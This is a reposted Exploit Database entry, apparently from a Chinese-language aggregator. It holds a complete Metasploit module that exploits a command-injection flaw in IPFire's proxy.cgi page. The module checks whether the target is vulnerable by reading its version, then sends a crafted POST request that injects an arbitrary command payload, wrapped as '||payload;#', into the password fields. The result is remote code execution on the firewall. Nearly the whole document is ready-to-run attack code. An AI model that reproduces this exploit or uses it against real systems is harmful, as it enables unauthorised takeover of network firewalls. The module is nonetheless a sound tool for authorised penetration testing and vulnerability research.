IPFire – ‘proxy.cgi’ Remote Code Execution (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2016-06-10
• 类别：

  • remote
  平台：

  • cgi
• 来源：https://www.exploit-db.com/exploits/39917/

• ##
  ## This module requires Metasploit: http://metasploit.com/download
  ## Current source: https://github.com/rapid7/metasploit-framework
  ###
  
  require 'msf/core'
  
  class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
  super(
  update_info(
  info,
  'Name'=> 'IPFire proxy.cgi RCE',
  'Description' => %q(
  IPFire, a free linux based open source firewall distribution,
  version < 2.19 Update Core 101 contains a remote command execution
  vulnerability in the proxy.cgi page.
  ),
  'Author'=>
  [
  'h00die <mike@stcyrsecurity.com>', # module
  'Yann CAM' # discovery
  ],
  'References'=>
  [
  [ 'EDB', '39765' ],
  [ 'URL', 'www.ipfire.org/news/ipfire-2-19-core-update-101-released']
  ],
  'License'=> MSF_LICENSE,
  'Platform' => 'unix',
  'Privileged' => false,
  'DefaultOptions' => { 'SSL' => true },
  'Arch' => [ ARCH_CMD ],
  'Payload'=>
  {
  'Compat' =>
  {
  'PayloadType' => 'cmd',
  'RequiredCmd' => 'perl awk openssl'
  }
  },
  'Targets'=>
  [
  [ 'Automatic Target', {}]
  ],
  'DefaultTarget' => 0,
  'DisclosureDate' => 'May 04 2016'
  )
  )
  
  register_options(
  [
  OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
  OptString.new('PASSWORD', [ false, 'Password to login with', '']),
  Opt::RPORT(444)
  ], self.class
  )
  end
  
  def check
  begin
  res = send_request_cgi(
  'uri' => '/cgi-bin/pakfire.cgi',
  'method'=> 'GET'
  )
  fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
  fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
  /\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body
  
  if version && update && version == "2.19" && update.to_i < 101
  Exploit::CheckCode::Appears
  else
  Exploit::CheckCode::Safe
  end
  rescue ::Rex::ConnectionError
  fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
  end
  end
  
  def exploit
  begin
  # To manually view the vuln page, click to proxy.cgi.At the bottom
  # select Local, and save. Ignore the error box, at the bottom of
  # the page click the button: User Management.
  
  payload_formatted = "||#{payload.encoded};#"
  post_data ="NCSA_USERNAME=#{Rex::Text.rand_text_alpha(10)}"
  post_data << "&NCSA_GROUP=standard"
  post_data << "&NCSA_PASS=#{Rex::Text.uri_encode(payload_formatted)}"
  post_data << "&NCSA_PASS_CONFIRM=#{Rex::Text.uri_encode(payload_formatted)}"
  post_data << "&SUBMIT=Create+user"
  post_data << "&ACTION=Add"
  post_data << "&NCSA_MIN_PASS_LEN=6"
  
  res = send_request_cgi(
  'uri' => '/cgi-bin/proxy.cgi',
  'method'=> 'POST',
  'ctype' => 'application/x-www-form-urlencoded',
  'headers' =>
  {
  'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/cgi-bin/proxy.cgi"
  },
  'data'=> post_data
  )
  
  # success means we hang our session, and wont get back a response
  if res
  fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
  fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
  end
  
  rescue ::Rex::ConnectionError
  fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
  end
  end
  end